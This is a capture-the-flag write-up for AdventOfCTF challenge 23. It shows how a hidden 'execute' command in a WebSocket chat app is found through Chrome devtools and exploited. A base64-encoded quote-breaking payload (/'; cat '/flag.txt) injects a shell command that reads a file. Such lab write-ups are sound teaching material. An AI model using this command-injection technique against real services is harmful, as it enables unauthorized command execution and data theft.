+++ author = "Maik de Kruif" title = "Challenge 23" subtitle = "Challenge 23 - AdventOfCTF" date = 2021-03-16T20:52:38+01:00 description = "A writeup for challenge 23 of AdventOfCTF." cover = "img/writeups/adventofctf/2020/497784f7a3314f8aa5b8464432e30bbe.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "websockets", ] categories = [ "ctf", "writeups", "hacking", ] +++ - Points: 2300 ## Description If all you do is talk, there are bound to be secret features. The flag is stored in /flag.txt. Visit to start the challenge. ## Recon When opening the page, we're greeted with, what looks like, a chat screen. If we type a message in the message box and send it, it appears on the screen. If we take a look at the source, we also find a bit of javascript: ```js $(function () { var socket = io(); $("form").submit(function () { socket.emit("chat message", { message: $("#m").val() }); $("#m").val(""); return false; }); socket.on("chat message", function (msg) { console.log(msg.command); if (msg.command === "code") { $("#messages").append($("
  • ").html("
    " + msg.message + "
    ")); } else { $("#messages").append($("
  • ").text(msg.message)); } window.scrollTo(0, document.body.scrollHeight); }); }); ``` ## Finding the vulnerability From the JavaScript code we can see that the chat uses WebSockets. To take a deeper look at it, let's switch over to the network tab in Chrome and click on the request with the type "websocket". {{< figure src="/img/writeups/adventofctf/2020/23/websocket.png" title="Websocket in Chrome DevTools" >}} If we click on it, a tab with the messages sent on the websocket will open. We can see some numbers here, these are just heartbeat packets to keep the connection alive. Now, let's send a new message and have a look at what it actually sends/receives. After sending the message, the following entries are added to the websocket message list. ```js ⬆42["chat message", {message: "Hi"}] ⬇42["chat message", {message: "Hi"}] ``` We can see the message contains two parts; the event name and the message itself. We also only see a message variable, while in the javascript code we also saw it looked for a `"command"`. Let's try to manually add it to the message. ### Manually sending a message In Chrome (to my knowledge) we can't easily send a message on a websocket. We could use Burp Suit to do it but for this writeup I'll stick with Chrome. To send a message on the websocket, we need the `socket` variable from the javascript code. To get it, go to the `Sources` tab and click on `(index)`. Now click on line number 28 to add a breakpoint there. We choose this place as it will trigger a breakpoint just before a message gets sent and we thus have access to the socket variable. {{< figure src="/img/writeups/adventofctf/2020/23/breakpoint.png" title="Javascipt breakpoint in Chrome" >}} Now if we try to send a message, chrome will pause the page. The console will now also have the scope of the piece of code at the breakpoint. This means that if we enter `socket` in the console, will get the socket object back: ```js > socket < Socket {receiveBuffer: Array(0), sendBuffer: Array(0), ids: 0, acks: {…}, flags: {…}, …} ``` Let's save this object to the global scope so we can always access it. To do this, let's enter the following code in the console: ```js window.socket = socket; ``` We can then click the continue button or press `F8` to continue the script. To verify we still have access to the socket, we can try to send a message using the console. I used the following code for this: ```js socket.emit("chat message", { message: "Hello" }); ``` After running this, we also see the message pop up in the chat window. ### Sending a command Because the code tries to read `msg.command`, let's try adding a command to the message. We can do that using the following code: ```js socket.emit("chat message", { message: "Hello", command: "ls", }); ``` As we expect from the code, `"ls"` is printed to the console but nothing else seems to happen. Maybe the command does not exist, let's try the common `help` command. ```js socket.emit("chat message", { message: "Hello", command: "help" }); ``` This time it returns a different message: "Allowed message types are: help, execute and empty". ## Exploit The `execute` command looks interesting, so let's take a further look at it. ```js socket.emit("chat message", { message: "Hello", command: "execute" }); ``` Upon sending it, the server returns "Invalid BASE64". This probably means it is trying to read base64 encoded data. But from where? Let's try replacing the message with a base64 encoded command. ```bash > echo -n "ls" | base64 -w 0 bHM=⏎ ``` ```js socket.emit("chat message", { message: "bHM=", command: "execute" }); ``` This time we got a different result: ```text ERR: Error: Command failed: /bin/ls 'ls' ls: ls: No such file or directory ``` This means the backend is trying to list the contents of "ls", let's try again with a `/` as the message: ```bash > echo -n "/" | base64 -w 0 Lw==⏎ ``` ```js socket.emit("chat message", { message: "Lw==", command: "execute" }); ``` This returns the following: ```text STDOUT: apps bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var ``` The only thing left is reading the `flag.txt` file. From the ls error we know the backend executes the following: `/bin/ls '[MESSAGE]'`. This means we have to construct a command that works around the quotes around our input. An example for the input would be `/'; cat '/flag.txt` as this makes the command become the following: ```bash /bin/ls '/'; cat '/flag.txt' ``` Let's try that. ```bash > echo -n "/'; cat '/flag.txt" | base64 -w 0 Lyc7IGNhdCAnL2ZsYWcudHh0⏎ ``` ```js socket.emit("chat message", { message: "Lyc7IGNhdCAnL2ZsYWcudHh0", command: "execute", }); ``` This will give us the following output: ```text STDOUT: apps bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var NOVI{i_hacked_websockets_and_1_am_still_s@ne} ``` ## Solution We got the flag! It is `NOVI{i_hacked_websockets_and_1_am_still_s@ne}`.